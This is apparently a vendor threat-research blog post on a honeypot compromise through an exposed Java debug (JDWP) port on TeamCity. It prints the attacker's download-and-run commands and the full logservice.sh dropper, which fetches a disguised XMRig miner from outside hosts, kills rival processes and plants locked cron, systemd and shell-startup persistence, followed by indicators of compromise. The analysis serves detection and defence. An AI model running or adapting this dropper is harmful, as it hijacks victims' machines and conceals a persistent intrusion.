Introduction
During routine monitoring, the Wiz Research Team observed an exploitation attempt targeting one of our honeypot servers running TeamCity, a popular CI/CD tool. Our investigation determined that the attacker had gained remote code execution by abusing an exposed Java Debug Wire Protocol (JDWP) interface, ultimately deploying a cryptomining payload and setting up multiple persistence mechanisms.
We found this attack interesting due to a few key points:
Fast Exploitation
Malware was deployed within just a few hours of exposing the vulnerable machine. We observed this rapid turnaround across multiple attempts.Customized XMRig payload
The attacker used a modified version of XMRig with a hardcoded configuration, allowing them to avoid suspicious command-line arguments that are often flagged by defenders.Stealthy crypto-mining
The payload used mining pool proxies to hide their cryptocurrency wallet address, thereby preventing investigators from pivoting on it.
What is JDWP?
JDWP, short for Java Debug Wire Protocol, is a standard feature in the Java platform, designed to help developers debug live applications. It allows remote inspection of threads, memory, and execution flow without restarting the application. To enable it, developers typically start the JVM with a flag like the one below. This setup tells the JVM to listen for debugger connections on port 5005 and accept incoming connections on all interfaces.
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
However, JDWP does not implement authentication or access control by default, and exposing it to the Internet is considered a misconfiguration. When exposed, it becomes a high-risk entry point, granting attackers full control over the running Java process. In this case, the misconfiguration allowed the adversary to inject and execute arbitrary commands, establish persistence, and execute malware.
While JDWP (Java Debug Wire Protocol) is not enabled by default in most Java applications, it is commonly used in development and debugging environments. Many popular applications automatically start a JDWP server when run in debug mode, often without making the risks obvious to the developer. If improperly secured or left exposed, this can open the door to remote code execution (RCE) vulnerabilities.
Examples of applications that may launch a JDWP server when in debug mode include:
TeamCity (a CI/CD server developed by JetBrains)
Jenkins (a popular CI tool)
Selenium Grid (a distributed browser testing platform)
Elasticsearch (Java-based search engine)
Quarkus (cloud-native Java framework)
Spring Boot (Java framework)
Apache Tomcat (an open-source web server)
JDWP Targeting
As previously mentioned, we observed extremely rapid exploitation of exposed JDWP instances. In our tests, after deploying a machine with an exposed JDWP server, our sensors detected exploitation attempts within just a few hours, across multiple instances. This demonstrates that JDWP is a highly targeted service. To support this, we used GreyNoise’s tag-based search feature and found over 6,000 unique IP addresses scanning for JDWP endpoints in the past 90 days.
Attack Flow
During our investigation we observed multiple JDWP exploitation attempts originating from different actors, but for simplicity we decided to focus this blog on a single incident which serves as a good example of the activity as a whole. Note that the indicators of compromise (IoCs) included in the appendix relate to all observed activity, not just this particular incident.
The attacker began by scanning for open JDWP ports across the internet. One of these scans reached our honeypot server, which was exposing JDWP on port 5005. The attacker then sent a JDWP-Handshake
request to confirm the interface was active and establish a JDWP session. The JVM responded with version details and a list of loaded classes, confirming that JDWP was indeed exposed and fully interactive.
Above is a screenshot from Wireshark showing the JDWP-Handshake protocol.
From there, the attacker followed a structured sequence to achieve remote code execution, likely using a variant of jdwp-shellifier with additional features. They queried the JVM for available classes and methods, then located java.lang.Runtime
and its associated getRuntime()
and exec()
methods.
The exploitation steps involved:
Creating Java strings containing system commands such as:
curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh>
bash /tmp/logservice.sh
Invoking
Runtime.getRuntime()
usingINVOKESTATICMETHOD_SIG
Passing the command string to
exec()
usingINVOKEMETHOD_SIG
Above is a screenshot from Wireshark showing the JDWP packets that contained the exploitation commands
These steps were repeated using different combinations of commands (wget
, sh
, etc.) to download and launch the attack payload.
Under the hood, the attacker issued low-level JDWP instructions including CreateString
, get_all_classes
, get_methods
, and method invocation signatures. They operated entirely through JDWP’s protocol, without needing access to the application itself.
logservice.sh
logservice.sh
is a dropper script with the following functionality:
Kill competing miners or any high‐CPU processes (anything using over 60% CPU except a small allowlist of processes).
Drop an XMRig miner sourced from
https[://]awarmcorner[.]world/silicon<architecture>blueprints.png
into~/.config/logrotate
and execute it.Install persistent hooks into every shell startup file (
.bashrc
,.zshrc
, etc.), rc.local, systemd, and multiple cron‐jobs, ensuring the payload is re-fetched and re-executed on every shell login, reboot, or scheduled interval.Delete itself on exit, leaving very little trace.
#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
EXEC="source <(wget -q -O - <http://185.196.8.123/logservice.sh> || curl -sL <http://185.196.8.123/logservice.sh>)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && {
ARCH=$(uname -m)
URL=""
[ "$ARCH" = "x86_64" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"
[ "$ARCH" = "aarch64" ] && URL="<https://awarmcorner.world/siliconarmblueprints.png>"
[ "$ARCH" = "armv7l" ] && URL="<https://awarmcorner.world/siliconarmv7blueprints.png>"
[ -z "$URL" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"
{ wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() {
if [ -r "$1" ]; then
if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
echo "$EXEC >/dev/null 2>&1" >> "$1"
fi
fi
}
case "$(ps -p $$ -o comm=)" in
bash) add_to_startup "$HOME/.bashrc"
add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && {
RCLOCAL=''
[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
sudo systemctl daemon-reload 2>/dev/null
sudo systemctl enable logrotate.service 2>/dev/null
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
}
logrotate binary
As previously noted, the attacker deployed the malicious payload under the name logrotate, likely in an effort to blend in with the legitimate system utility of the same name and avoid raising suspicion. In reality, this logrotate binary is a modified variant of XMRig, a legitimate open-source cryptocurrency miner that, unsurprisingly, continues to be a favorite among threat actors for unauthorized crypto-mining. Being open-source, XMRig offers attackers the convenience of easy customization, which in this case involved stripping out all command-line parsing logic and hardcoding the configuration. This tweak not only simplifies deployment but also allows the payload to mimic the original logrotate process more convincingly.
Persistence Mechanisms
After gaining execution, the attacker set up multiple persistence mechanisms. We observed them using a combination of old-school boot scripts, modern systemd services, cron jobs, and shell configuration files:
RC Local
They started by checking the Linux distribution and modifying the appropriate boot file:
RCLOCAL=''
[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
Systemd Service
Next, the attacker dropped a fake systemd service that disguised itself as logrotate
. In reality, it simply pointed to their malicious binary and was set to restart continuously:
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
Shell Startup Scripts
To trigger the payload on terminal login or logout, they appended it to user-specific shell config files:
case "$(ps -p $$ -o comm=)" in
bash) add_to_startup "$HOME/.bashrc"
add_to_startup "$HOME/.bash_logout" ;;
zsh) add_to_startup "$HOME/.zshrc" ;;
esac
Cron Jobs
Finally, the attacker created cron jobs across multiple locations and time intervals.
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
How can Wiz help?
Detection
Wiz can help detect attacks like the one described in this blog in multiple ways:
Our agentless malware detection detects these types of evolving threats using our proprietary YARA rules catalog.
The Wiz Runtime Sensor detects events and behaviors associated with this threat and similar ones, alerting you on every step of the attack: from the initial JDWP exploitation, to modifications in crontab and system services, and ultimately, cryptomining activity.
IoC | Type | Description |
---|---|---|
a923de9df0766d6c4be46191117b8cc6486cf19c | SHA-1 | logservice.sh |
1879d5fa0c2ca816fcb261e96338e325e76dca09 | SHA-1 | logservice.sh |
18d83ba336ca6926ce8b9d68f104cff053f0c2f9 | SHA-1 | o.sh - attack script |
815bc1a79440cdc4a7e1d876ff2dc7bc4f53d25e | SHA-1 | logrotate |
0851a95d46f035c7759782299422bcfd794e2aec | SHA-1 | logrotate |
7074d674d120d19aa7e44e29dd126af152ccdb7c | SHA-1 | logrotate |
2d4a23e861ef41df6953195fa4cda115e37a7218 | SHA-1 | logrotate |
baf0a3b92225f56499c6879b176a3d6163b9d3ef | SHA-1 | logrotate |
ea7c97294f415dc8713ac8c280b3123da62f6e56 | SHA-1 | XMRig 6.22 |
185.196.8[.]123 | IP | File Server |
185.196.8[.]86 | IP | Payloads File Server |
176.65.148[.]57 | IP | JDWP scanner |
176.65.148[.]86 | IP | JDWP scanner |
176.65.148[.]239 | IP | JDWP scanner |
185.208.156[.]247:3333 | IP | Mining Pool |
185.196.8[.]41 | IP | Mining Pool |
https://awarmcorner[.]world | Domain | Payloads File Server |
https://aheatcorner[.]world | Domain | Previous Payloads File Server |
https://canonicalconnect[.]com | Domain | Payloads File Server |
https://cozy[.]yachts | Domain | Previous Payloads File Server |
https://s3.tebi[.]io/dhcpdc/o.sh | URL | Payload URL |